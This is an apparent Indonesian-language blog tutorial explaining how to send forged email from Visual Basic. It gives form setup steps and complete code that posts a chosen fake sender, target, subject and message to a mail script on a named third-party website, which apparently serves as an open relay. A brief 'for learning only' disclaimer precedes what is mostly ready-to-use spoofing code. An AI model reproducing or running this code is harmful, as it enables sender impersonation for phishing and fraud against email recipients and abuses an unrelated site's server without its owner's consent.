Kirim Email Palsu lewat Program VB

Ingin tau gimana caranya bikin email palsu lewat bahasa pemrograman Visual Basic?
Sssstt.. simple koq!! tapi jangan buat maen2 ya... Ini sih buat belajar aja, sama sekali bukan mengajarkan kejahatan. (Tanggung jawab sendiri loe klo dipake buat nipu!!)

Langkah 1:
Bikin Form baru
Tambahin Objek Inet (Klik Kanan di Tool Box, Componens.. Pilih Microsoft Internet Transfer Control)
Tambahin 4 Text Box
Kasih Nama txtSender, txtTarget, txtSubject, txtMsg
Ubah Properti txtMsg: MultiLine = True
Tambahin 1 Command Button
Atur Tampilannya biar Indah dan menawan :)

Langkah 2:
Copy Source Code Dibawah Ini, Paste di Code nya VB

Private Sub Command1_Click()

Dim strURL As String
Dim StrFormData As String
Dim X, Y
Dim Sender As String
Dim Receiver As String

X = Split(TxtSender.Text, "@")
Sender = X(0) & "%40" & X(1)

Y = Split(TxtTarget.Text, "@")
Receiver = Y(0) & "%40" & Y(1)

StrFormData = "TO=" & Receiver & "&FROM=" & Sender & "&SUBJECT=" & TxtSubject.Text & "&BODY=" & txtMsg.Text

strURL = "http://www.lorenza.it/varie/catalogo/Admin/XcCDONTS.asp"
Inet1.Execute strURL, "POST", StrFormData, "Content-Type: application/x-www-form-urlencoded"
MsgBox "sukses..."
TxtTarget = ""
TxtSubject = ""
TxtMsg = ""

End Sub

Coba deh Run Programnya, target nya pake email sendiri, sendernya terserah, misalnya aku@manis.sekali trus kirim...
haveFun.. :)